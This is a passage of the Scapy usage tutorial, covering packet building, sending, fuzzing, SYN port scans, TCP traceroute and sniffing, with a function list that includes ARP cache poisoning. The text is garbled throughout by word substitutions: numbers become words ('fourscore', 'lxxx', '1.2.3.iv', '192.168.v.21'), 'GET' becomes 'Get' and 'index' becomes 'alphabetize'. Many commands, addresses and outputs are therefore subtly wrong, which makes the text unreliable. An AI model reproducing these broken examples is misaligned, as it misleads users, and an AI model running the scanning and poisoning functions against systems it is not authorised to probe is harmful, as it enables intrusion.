Usage

Starting Scapy

Scapy's interactive shell is run in a terminal session. Root privileges are needed to ship the packets, then we're using sudo here:

              $ sudo scapy -H Welcome to Scapy (2.4.0) >>>            

On Windows, please open up a command prompt ( cmd.exe ) and brand certain that you have administrator privileges:

                            C              :\>              scapy              Welcome              to              Scapy              (              ii.4.0              )              >>>            

If you do non accept all optional packages installed, Scapy will inform you that some features will not exist available:

                            INFO              :              Can              't import python matplotlib wrapper. Won'              t              be              able              to              plot              .              INFO              :              Can              't import PyX. Won'              t              be              able              to              use              psdump              ()              or              pdfdump              ()              .            

The basic features of sending and receiving packets should all the same work, though.

Customizing the Terminal

Earlier yous actually commencement using Scapy, you may want to configure Scapy to properly render colors on your concluding. To exercise so, gear up conf.color_theme to one of of the following themes:

                                DefaultTheme                ,                BrightTheme                ,                RastaTheme                ,                ColorOnBlackTheme                ,                BlackAndWhite                ,                HTMLTheme                ,                LatexTheme              

For instance:

                                conf                .                color_theme                =                BrightTheme                ()              
_images/animation-scapy-themes-demo.gif

Other parameters such as conf.prompt can too provide some customization. Notation Scapy will update the shell automatically every bit soon as the conf values are inverse.

Interactive tutorial

This department will show y'all several of Scapy's features with Python 2. Just open a Scapy session as shown in a higher place and try the examples yourself.

Start steps

Let's build a package and play with it:

                                >>>                                a                =                IP                (                ttl                =                10                )                >>>                                a                < IP ttl=ten |>                >>>                                a                .                src                '127.0.0.1'                >>>                                a                .                dst                =                "192.168.1.1"                >>>                                a                < IP ttl=10 dst=192.168.1.1 |>                >>>                                a                .                src                '192.168.8.fourteen'                >>>                                del                (                a                .                ttl                )                >>>                                a                < IP dst=192.168.i.1 |>                >>>                                a                .                ttl                64              

Stacking layers

The / operator has been used every bit a limerick operator between two layers. When doing and so, the lower layer can accept one or more than of its defaults fields overloaded according to the upper layer. (You yet can requite the value you desire). A string tin can exist used as a raw layer.

                                >>>                                IP                ()                <IP |>                >>>                                IP                ()                /                TCP                ()                <IP frag=0 proto=TCP |<TCP |>>                >>>                                Ether                ()                /                IP                ()                /                TCP                ()                <Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>                >>>                                IP                ()                /                TCP                ()                /                "GET / HTTP/i.0                \r\n\r\northward                "                <IP frag=0 proto=TCP |<TCP |<Raw load='Get / HTTP/1.0\r\north\r\n' |>>>                >>>                                Ether                ()                /                IP                ()                /                IP                ()                /                UDP                ()                <Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>                >>>                                IP                (                proto                =                55                )                /                TCP                ()                <IP frag=0 proto=55 |<TCP |>>              
_images/fieldsmanagement.png

Each packet tin be built or dissected (annotation: in Python _ (underscore) is the latest result):

                                >>>                                raw                (                IP                ())                'East\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'                >>>                                IP                (                _                )                <IP version=4L ihl=5L tos=0x0 len=20 id=i flags= frag=0L ttl=64 proto=IP                                  chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>                >>>                                a                =                Ether                ()                /                IP                (                dst                =                "www.slashdot.org"                )                /                TCP                ()                /                "Get /index.html HTTP/i.0                                \n\n                "                >>>                                hexdump                (                a                )                00 02 fifteen 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  ...7.D...R....E.                00 43 00 01 00 00 40 06 78 3C C0 A8 05 xv 42 23  .C....@.10<....B#                FA 97 00 14 00 50 00 00 00 00 00 00 00 00 l 02  .....P........P.                20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /alphabetize                2E 68 74 6D 6C 20 48 54 54 l 2F 31 2E 30 twenty 0A  .html HTTP/ane.0 .                0A                                               .                >>>                                b                =                raw                (                a                )                >>>                                b                '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0                                  \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00                                  \xbb9\x00\x00GET /index.html HTTP/1.0 \due north\n'                >>>                                c                =                Ether                (                b                )                >>>                                c                <Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L                                  ihl=5L tos=0x0 len=67 id=ane flags= frag=0L ttl=64 proto=TCP chksum=0x783c                                  src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L                                  ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0                                  options=[] |<Raw load='Get /index.html HTTP/ane.0 \n\due north' |>>>>              

We run into that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is also verbose, the method hide_defaults() will delete every field that has the aforementioned value as the default:

                                >>>                                c                .                hide_defaults                ()                >>>                                c                <Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67                                  frag=0 proto=TCP chksum=0x783c src=192.168.five.21 dst=66.35.250.151 |<TCP dataofs=5L                                  chksum=0xbb39 options=[] |<Raw load='GET /alphabetize.html HTTP/1.0 \n\n' |>>>>              

Reading PCAP files

Y'all tin read packets from a pcap file and write them to a pcap file.

                                >>>                                a                =                rdpcap                (                "/spare/captures/isakmp.cap"                )                >>>                                a                <isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>              

Graphical dumps (PDF, PS)

If yous have PyX installed, you tin can brand a graphical PostScript/PDF dump of a packet or a listing of packets (see the ugly PNG image beneath. PostScript/PDF are far better quality…):

                                >>>                                a                [                423                ]                .                pdfdump                (                layer_shift                =                ane                )                >>>                                a                [                423                ]                .                psdump                (                "/tmp/isakmp_pkt.eps"                ,                layer_shift                =                1                )              
_images/isakmp_dump.png

Command

Effect

raw(pkt)

assemble the package

hexdump(pkt)

have a hexadecimal dump

ls(pkt)

have the list of fields values

pkt.summary()

for a one-line summary

pkt.show()

for a developed view of the packet

pkt.show2()

same as show but on the assembled bundle (checksum is calculated, for case)

pkt.sprintf()

fills a format string with fields values of the packet

pkt.decode_payload_as()

changes the style the payload is decoded

pkt.psdump()

draws a PostScript diagram with explained autopsy

pkt.pdfdump()

draws a PDF with explained dissection

pkt.command()

return a Scapy command that can generate the package

Generating sets of packets

For the moment, we take but generated i package. Let see how to specify sets of packets as easily. Each field of the whole parcel (e'er layers) can be a prepare. This implicitly defines a ready of packets, generated using a kind of cartesian product between all the fields.

                                >>>                                a                =                IP                (                dst                =                "www.slashdot.org/thirty"                )                >>>                                a                <IP  dst=Internet('www.slashdot.org/thirty') |>                >>>                                [                p                for                p                in                a                ]                [<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,                                  <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]                >>>                                b                =                IP                (                ttl                =                [                i                ,                2                ,(                v                ,                ix                )])                >>>                                b                <IP ttl=[1, 2, (5, 9)] |>                >>>                                [                p                for                p                in                b                ]                [<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,                                  <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]                >>>                                c                =                TCP                (                dport                =                [                80                ,                443                ])                >>>                                [                p                for                p                in                a                /                c                ]                [<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=eighty |>>,                                  <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,                                  <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=lxxx |>>,                                  <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,                                  <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,                                  <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,                                  <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=lxxx |>>,                                  <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]              

Some operations (similar building the string from a packet) can't work on a set up of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list y'all forgot to generate will exist used to assemble the packet.

Command

Outcome

summary()

displays a list of summaries of each packet

nsummary()

same as previous, with the packet number

conversations()

displays a graph of conversations

show()

displays the preferred representation (normally nsummary())

filter()

returns a packet list filtered with a lambda function

hexdump()

returns a hexdump of all packets

hexraw()

returns a hexdump of the Raw layer of all packets

padding()

returns a hexdump of packets with padding

nzpadding()

returns a hexdump of packets with non-goose egg padding

plot()

plots a lambda function applied to the package list

make table()

displays a table according to a lambda function

Sending packets

Now that we know how to manipulate packets. Permit's encounter how to transport them. The send() function volition send packets at layer 3. That is to say, it volition handle routing and layer two for you. The sendp() office will work at layer 2. Information technology's up to you to choose the right interface and the right link layer protocol. send() and sendp() volition also return sent packet list if return_packets=True is passed as parameter.

                                >>>                                send                (                IP                (                dst                =                "ane.ii.3.4"                )                /                ICMP                ())                .                Sent 1 packets.                >>>                                sendp                (                Ether                ()                /                IP                (                dst                =                "1.2.3.iv"                ,                ttl                =                (                1                ,                4                )),                iface                =                "eth1"                )                ....                Sent 4 packets.                >>>                                sendp                (                "I'm travelling on Ethernet"                ,                iface                =                "eth1"                ,                loop                =                1                ,                inter                =                0.2                )                ................^C                Sent 16 packets.                >>>                                sendp                (                rdpcap                (                "/tmp/pcapfile"                ))                # tcpreplay                ...........                Sent eleven packets.                Returns packets sent by send()                >>>                                send                (                IP                (                dst                =                '127.0.0.1'                ),                return_packets                =                True                )                .                Sent i packets.                <PacketList: TCP:0 UDP:0 ICMP:0 Other:1>              

Fuzzing

The function fuzz() is able to alter whatsoever default value that is non to exist calculated (like checksums) by an object whose value is random and whose blazon is adapted to the field. This enables quickly building fuzzing templates and sending them in a loop. In the post-obit example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port volition be overloaded past NTP to be 123 and the NTP version volition be forced to be 4. All the other ports will exist randomized. Note: If you utilise fuzz() in IP layer, src and dst parameter won't exist random so in society to practice that utilise RandIP().:

                                >>>                                send                (                IP                (                dst                =                "target"                )                /                fuzz                (                UDP                ()                /                NTP                (                version                =                4                )),                loop                =                1                )                ................^C                Sent sixteen packets.              

Injecting bytes

In a bundle, each field has a specific type. For case, the length field of the IP packet len expects an integer. More on that later. If you're developing a PoC, in that location are times where you'll want to inject some value that doesn't fit that type. This is possible using RawVal

                                >>>                                pkt                =                IP                (                len                =                RawVal                (                b                "NotAnInteger"                ),                src                =                "127.0.0.1"                )                >>>                                bytes                (                pkt                )                b'H\x00NotAnInt\x0f\xb3er\x00\x01\x00\x00@\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00'              

Ship and receive packets (sr)

Now, let'south try to practice some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only returns one packet that answered the parcel (or the parcel set) sent. The packets must be layer iii packets (IP, ARP, etc.). The role srp() do the same for layer ii packets (Ethernet, 802.3, etc.). If at that place is no response, a None value will be assigned instead when the timeout is reached.

                                >>>                                p                =                sr1                (                IP                (                dst                =                "world wide web.slashdot.org"                )                /                ICMP                ()                /                "XXXXXXXXXXX"                )                Begin emission:                ...Finished to ship 1 packets.                .*                Received 5 packets, got 1 answers, remaining 0 packets                >>>                                p                <IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP                                  chksum=0x51dd src=66.35.250.151 dst=192.168.v.21 options='' |<ICMP blazon=repeat-respond                                  lawmaking=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'                                  |<Padding load='\x00\x00\x00\x00' |>>>>                >>>                                p                .                bear witness                ()                ---[ IP ]---                version   = 4L                ihl       = 5L                tos       = 0x0                len       = 39                id        = 15489                flags     =                frag      = 0L                ttl       = 42                proto     = ICMP                chksum    = 0x51dd                src       = 66.35.250.151                dst       = 192.168.5.21                options   = ''                ---[ ICMP ]---                                  type      = repeat-reply                                  code      = 0                                  chksum    = 0xee45                                  id        = 0x0                                  seq       = 0x0                ---[ Raw ]---                                  load      = 'XXXXXXXXXXX'                ---[ Padding ]---                                  load      = '\x00\x00\x00\x00'              

A DNS query ( rd = recursion desired). The host 192.168.v.1 is my DNS server. Note the non-cypher padding coming from my Linksys having the Etherleak flaw:

                                >>>                                sr1                (                IP                (                dst                =                "192.168.5.one"                )                /                UDP                ()                /                DNS                (                rd                =                1                ,                qd                =                DNSQR                (                qname                =                "www.slashdot.org"                )))                Begin emission:                Finished to send 1 packets.                ..*                Received three packets, got 1 answers, remaining 0 packets                <IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38                                  src=192.168.five.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d                                  |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1                                  nscount=0 arcount=0 qd=<DNSQR qname='world wide web.slashdot.org.' qtype=A qclass=IN |>                                  an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>                                  ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>              

The "ship'n'receive" functions family is the heart of Scapy. They return a couple of ii lists. The starting time element is a list of couples (packet sent, reply), and the 2nd element is the list of unanswered packets. These two elements are lists, just they are wrapped by an object to present them ameliorate, and to provide them with some methods that do well-nigh often needed actions:

                                >>>                                sr                (                IP                (                dst                =                "192.168.8.1"                )                /                TCP                (                dport                =                [                21                ,                22                ,                23                ]))                Received half-dozen packets, got 3 answers, remaining 0 packets                (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)                >>>                                ans                ,                unans                =                _                >>>                                ans                .                summary                ()                IP / TCP 192.168.eight.14:20 > 192.168.eight.ane:21 S ==> Ether / IP / TCP 192.168.viii.one:21 > 192.168.8.14:20 RA / Padding                IP / TCP 192.168.8.14:20 > 192.168.8.ane:22 South ==> Ether / IP / TCP 192.168.8.ane:22 > 192.168.8.14:twenty RA / Padding                IP / TCP 192.168.8.14:xx > 192.168.8.i:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:xx RA / Padding              

If there is a express rate of answers, you can specify a time interval (in seconds) to await between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, y'all can resend all the unanswered packets, either by calling the function once again, straight with the unanswered list, or past specifying a retry parameter. If retry is three, Scapy volition try to resend unanswered packets 3 times. If retry is -three, Scapy volition resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait later on the concluding packet has been sent:

                                >>>                                sr                (                IP                (                dst                =                "172.xx.29.five/xxx"                )                /                TCP                (                dport                =                [                21                ,                22                ,                23                ]),                inter                =                0.5                ,                retry                =-                2                ,                timeout                =                one                )                Begin emission:                Finished to transport 12 packets.                Begin emission:                Finished to send 9 packets.                Brainstorm emission:                Finished to send ix packets.                Received 100 packets, got 3 answers, remaining ix packets                (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)              

SYN Scans

Classic SYN Scan can be initialized by executing the post-obit control from Scapy'southward prompt:

                                >>>                                sr1                (                IP                (                dst                =                "72.xiv.207.99"                )                /                TCP                (                dport                =                fourscore                ,                flags                =                "S"                ))              

The above will send a unmarried SYN packet to Google's port 80 and volition quit after receiving a unmarried response:

                                Begin                emission                :                .                Finished                to                send                1                packets                .                *                Received                2                packets                ,                got                1                answers                ,                remaining                0                packets                <                IP                version                =                four                Fifty                ihl                =                5                L                tos                =                0x20                len                =                44                id                =                33529                flags                =                frag                =                0                L                ttl                =                244                proto                =                TCP                chksum                =                0x6a34                src                =                72.14.207.99                dst                =                192.168.i.100                options                =//                |                <                TCP                sport                =                www                dport                =                ftp                -                data                seq                =                2487238601                50                ack                =                1                dataofs                =                6                Fifty                reserved                =                0                L                flags                =                SA                window                =                8190                chksum                =                0xcdc7                urgptr                =                0                options                =                [(                'MSS'                ,                536                )]                |                <                Padding                load                =                'V                \xf7                '                |>>>              

From the above output, we can run across Google returned "SA" or SYN-ACK flags indicating an open port.

Use either notations to scan ports 400 through 443 on the system:

                                >>>                                sr                (                IP                (                dst                =                "192.168.one.i"                )                /                TCP                (                sport                =                666                ,                dport                =                (                440                ,                443                ),                flags                =                "S"                ))              

or

                                >>>                                sr                (                IP                (                dst                =                "192.168.1.1"                )                /                TCP                (                sport                =                RandShort                (),                dport                =                [                440                ,                441                ,                442                ,                443                ],                flags                =                "Due south"                ))              

In club to quickly review responses simply request a summary of collected packets:

                                >>>                                ans                ,                unans                =                _                >>>                                ans                .                summary                ()                IP / TCP 192.168.one.100:ftp-information > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.one.100:ftp-data RA / Padding                IP / TCP 192.168.1.100:ftp-data > 192.168.one.ane:441 S ======> IP / TCP 192.168.1.i:441 > 192.168.ane.100:ftp-data RA / Padding                IP / TCP 192.168.1.100:ftp-data > 192.168.i.i:442 Southward ======> IP / TCP 192.168.1.one:442 > 192.168.i.100:ftp-data RA / Padding                IP / TCP 192.168.one.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.i.i:https > 192.168.one.100:ftp-information SA / Padding              

The above will display stimulus/response pairs for answered probes. We can brandish only the information we are interested in by using a simple loop:

                                >>>                                ans                .                summary                (                lambda                southward                ,                r                :                r                .                sprintf                (                "%TCP.sport%                                \t                                  %TCP.flags%"                )                )                440      RA                441      RA                442      RA                https    SA              

Even better, a table tin be built using the make_table() function to display information nigh multiple targets:

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                [                "192.168.1.1"                ,                "yahoo.com"                ,                "slashdot.org"                ])                /                TCP                (                dport                =                [                22                ,                80                ,                443                ],                flags                =                "S"                ))                Begin emission:                .......*.**.......Finished to send 9 packets.                **.*.*..*..................                Received 362 packets, got 8 answers, remaining 1 packets                >>>                                ans                .                make_table                (                ...                                lambda                south                ,                r                :                (                s                .                dst                ,                s                .                dport                ,                ...                                r                .                sprintf                (                "{TCP:%TCP.flags%}{ICMP:%IP.src                % - %                ICMP.type%}"                )))                                  66.35.250.150                192.168.ane.1 216.109.112.135                22  66.35.250.150 - dest-unreach RA          -                80  SA                           RA          SA                443 SA                           SA          SA              

The above case will even print the ICMP error blazon if the ICMP package was received as a response instead of expected TCP.

For larger scans, nosotros could be interested in displaying only certain responses. The example below will only display packets with the "SA" flag set:

                                >>>                                ans                .                nsummary                (                lfilter                =                lambda                s                ,                r                :                r                .                sprintf                (                "%TCP.flags%"                )                ==                "SA"                )                0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.one:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA              

In case we desire to do some expert analysis of responses, nosotros can use the post-obit control to betoken which ports are open:

                                >>>                                ans                .                summary                (                lfilter                =                lambda                s                ,                r                :                r                .                sprintf                (                "%TCP.flags%"                )                ==                "SA"                ,                prn                =                lambda                southward                ,                r                :                r                .                sprintf                (                "%TCP.sport                % i                south open"                ))                https is open up              

Again, for larger scans nosotros tin can build a table of open ports:

                                >>>                                ans                .                filter                (                lambda                s                ,                r                :                TCP                in                r                and                r                [                TCP                ]                .                flags                &                2                )                .                make_table                (                lambda                s                ,                r                :                ...                                (                s                .                dst                ,                s                .                dport                ,                "X"                ))                                  66.35.250.150 192.168.i.one 216.109.112.135                80  10             -           X                443 Ten             X           X              

If all of the in a higher place methods were not enough, Scapy includes a report_ports() office which not only automates the SYN browse, but also produces a LaTeX output with nerveless results:

                                >>>                                report_ports                (                "192.168.1.1"                ,(                440                ,                443                ))                Brainstorm emission:                ...*.**Finished to ship 4 packets.                *                Received 8 packets, got 4 answers, remaining 0 packets                '\\begin{tabular}{|r|l|50|}\n\\hline\nhttps & open up & SA \\\\\n\\hline\n440                                  & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &                TCP RA \\\\\n\\hline\n\\hline\due north\\end{tabular}\due north'              

TCP traceroute

A TCP traceroute:

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                target                ,                ttl                =                (                4                ,                25                ),                id                =                RandShort                ())                /                TCP                (                flags                =                0x2                ))                *****.******.*.***..*.**Finished to send 22 packets.                ***......                Received 33 packets, got 21 answers, remaining 1 packets                >>>                                for                snd                ,                rcv                in                ans                :                ...                                print                snd                .                ttl                ,                rcv                .                src                ,                isinstance                (                rcv                .                payload                ,                TCP                )                ...                5 194.51.159.65 0                6 194.51.159.49 0                4 194.250.107.181 0                7 193.251.126.34 0                eight 193.251.126.154 0                9 193.251.241.89 0                10 193.251.241.110 0                eleven 193.251.241.173 0                13 208.172.251.165 0                12 193.251.241.173 0                14 208.172.251.165 0                xv 206.24.226.99 0                16 206.24.238.34 0                17 173.109.66.90 0                18 173.109.88.218 0                xix 173.29.39.101 1                xx 173.29.39.101 1                21 173.29.39.101 ane                22 173.29.39.101 1                23 173.29.39.101 1                24 173.29.39.101 1              

Note that the TCP traceroute and some other high-level functions are already coded:

                                >>>                                lsc                ()                sr               : Send and receive packets at layer three                sr1              : Send packets at layer three and render but the outset respond                srp              : Send and receive packets at layer 2                srp1             : Send and receive packets at layer ii and return merely the first respond                srloop           : Send a packet at layer 3 in loop and print the respond each fourth dimension                srploop          : Transport a package at layer 2 in loop and impress the respond each time                sniff            : Sniff packets                p0f              : Passive Bone fingerprinting: which OS emitted this TCP SYN ?                arpcachepoison   : Poison target'due south cache with (your MAC,victim'south IP) couple                ship             : Send packets at layer 3                sendp            : Send packets at layer two                traceroute       : Instant TCP traceroute                arping           : Transport ARP who-has requests to decide which hosts are up                ls               : List  bachelor layers, or infos on a given layer                lsc              : List user commands                queso            : Queso OS fingerprinting                nmap_fp          : nmap fingerprinting                report_ports     : portscan a target and output a LaTeX table                dyndns_add       : Send a DNS add bulletin to a nameserver for "name" to have a new "rdata"                dyndns_del       : Send a DNS delete bulletin to a nameserver for "proper noun"                [...]              

Scapy may also utilize the GeoIP2 module, in combination with matplotlib and cartopy to generate fancy graphics such as below:

_images/traceroute_worldplot.png

In this case, nosotros used the traceroute_map() part to print the graphic. This method is a shortcut which uses the world_trace of the TracerouteResult objects. It could accept been done differently:

                                >>>                                conf                .                geoip_city                =                "path/to/GeoLite2-City.mmdb"                >>>                                a                =                traceroute                ([                "www.google.co.uk"                ,                "world wide web.secdev.org"                ],                verbose                =                0                )                >>>                                a                .                world_trace                ()              

or such as above:

                                >>>                                conf                .                geoip_city                =                "path/to/GeoLite2-City.mmdb"                >>>                                traceroute_map                ([                "www.google.co.uk"                ,                "www.secdev.org"                ])              

To use those functions, it is required to have installed the geoip2 module, its database (straight download) simply besides the cartopy module.

Configuring super sockets

Different super sockets are available in Scapy: the native ones, and the ones that use libpcap (to send/receive packets).

By default, Scapy will try to use the native ones (except on Windows, where the winpcap/npcap ones are preferred). To manually utilize the libpcap ones, you must:

  • On Unix/OSX: be sure to have libpcap installed.

  • On Windows: take Npcap/Winpcap installed. (default)

Then use:

This will automatically update the sockets pointing to conf.L2socket and conf.L3socket .

If yous want to manually set them, you have a agglomeration of sockets bachelor, depending on your platform. For instance, you lot might want to use:

                                >>>                                conf                .                L3socket                =                L3pcapSocket                # Receive/send L3 packets through libpcap                >>>                                conf                .                L2listen                =                L2ListenTcpdump                # Receive L2 packets through TCPDump              

Sniffing

We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on tin can be provided. If no interface is given, sniffing volition happen on conf.iface :

                                >>>                                sniff                (                filter                =                "icmp and host 66.35.250.151"                ,                count                =                2                )                <Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>                >>>                                a                =                _                >>>                                a                .                nsummary                ()                0000 Ether / IP / ICMP 192.168.5.21 repeat-request 0 / Raw                0001 Ether / IP / ICMP 192.168.v.21 echo-request 0 / Raw                >>>                                a                [                1                ]                <Ether dst=00:ae:f3:52:aa:d1 src=00:02:xv:37:a2:44 blazon=0x800 |<IP version=4L                                  ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831                                  src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0                                  chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\due north\x0b                                  \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d                                  \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>                >>>                                sniff                (                iface                =                "wifi0"                ,                prn                =                lambda                x                :                x                .                summary                ())                802.xi Management eight ff:ff:ff:ff:ff:ff / 802.xi Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133                802.11 Management four ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates                802.11 Management 5 00:0a:41:ee:a5:fifty / 802.xi Probe Response / Info SSID / Info Rates / Info DSset / Info 133                802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates                802.11 Direction 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates                802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133                802.11 Management 11 00:07:50:d6:44:3f / 802.11 Hallmark                802.eleven Management 11 00:0a:41:ee:a5:50 / 802.eleven Authentication                802.11 Management 0 00:07:fifty:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149                802.11 Direction i 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149                802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133                802.xi Management 8 ff:ff:ff:ff:ff:ff / 802.eleven Buoy / Info SSID / Info Rates / Info DSset / Info TIM / Info 133                802.eleven / LLC / SNAP / ARP who has 172.20.70.172 says 172.xx.seventy.171 / Padding                802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.seventy.172 / Padding                802.eleven / LLC / SNAP / IP / ICMP echo-request 0 / Raw                802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw                >>>                                sniff                (                iface                =                "eth1"                ,                prn                =                lambda                10                :                x                .                show                ())                ---[ Ethernet ]---                dst       = 00:ae:f3:52:aa:d1                src       = 00:02:xv:37:a2:44                blazon      = 0x800                ---[ IP ]---                                  version   = 4L                                  ihl       = 5L                                  tos       = 0x0                                  len       = 84                                  id        = 0                                  flags     = DF                                  frag      = 0L                                  ttl       = 64                                  proto     = ICMP                                  chksum    = 0x3831                                  src       = 192.168.5.21                                  dst       = 66.35.250.151                                  options   = ''                ---[ ICMP ]---                                  type      = repeat-request                                  code      = 0                                  chksum    = 0x89d9                                  id        = 0xc245                                  seq       = 0x0                ---[ Raw ]---                                  load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\north\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'                ---[ Ethernet ]---                dst       = 00:02:15:37:a2:44                src       = 00:ae:f3:52:aa:d1                type      = 0x800                ---[ IP ]---                                  version   = 4L                                  ihl       = 5L                                  tos       = 0x0                                  len       = 84                                  id        = 2070                                  flags     =                                  frag      = 0L                                  ttl       = 42                                  proto     = ICMP                                  chksum    = 0x861b                                  src       = 66.35.250.151                                  dst       = 192.168.v.21                                  options   = ''                ---[ ICMP ]---                                  type      = echo-answer                                  code      = 0                                  chksum    = 0x91d9                                  id        = 0xc245                                  seq       = 0x0                ---[ Raw ]---                                  load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\due north\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'                ---[ Padding ]---                                  load      = '\n_\x00\x0b'                >>>                                sniff                (                iface                =                [                "eth1"                ,                "eth2"                ],                prn                =                lambda                x                :                x                .                sniffed_on                +                ": "                +                x                .                summary                ())                eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw                eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-answer 0 / Raw                eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 repeat-request 0 / Raw                eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 repeat-answer 0 / Raw              

For even more control over displayed information nosotros can utilize the sprintf() part:

                                >>>                                pkts                =                sniff                (                prn                =                lambda                x                :                x                .                sprintf                (                "{IP:%IP.src% -> %IP.dst%                \n                }{Raw:%Raw.load%                \n                }"                ))                192.168.one.100 -> 64.233.167.99                64.233.167.99 -> 192.168.one.100                192.168.one.100 -> 64.233.167.99                192.168.1.100 -> 64.233.167.99                'GET / HTTP/i.one\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0                (X11; U; Linux i686; en-US; rv:1.eight.ane.8) Gecko/20071022 Ubuntu/7.10 (gutsy)                Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,                text/html;q=0.ix,text/manifestly;q=0.eight,image/png,*/*;q=0.5\r\nAccept-Language:                en-us,en;q=0.v\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:                ISO-8859-1,utf-8;q=0.vii,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:                keep-alive\r\nCache-Command: max-age=0\r\due north\r\northward'              

Nosotros tin can sniff and do passive OS fingerprinting:

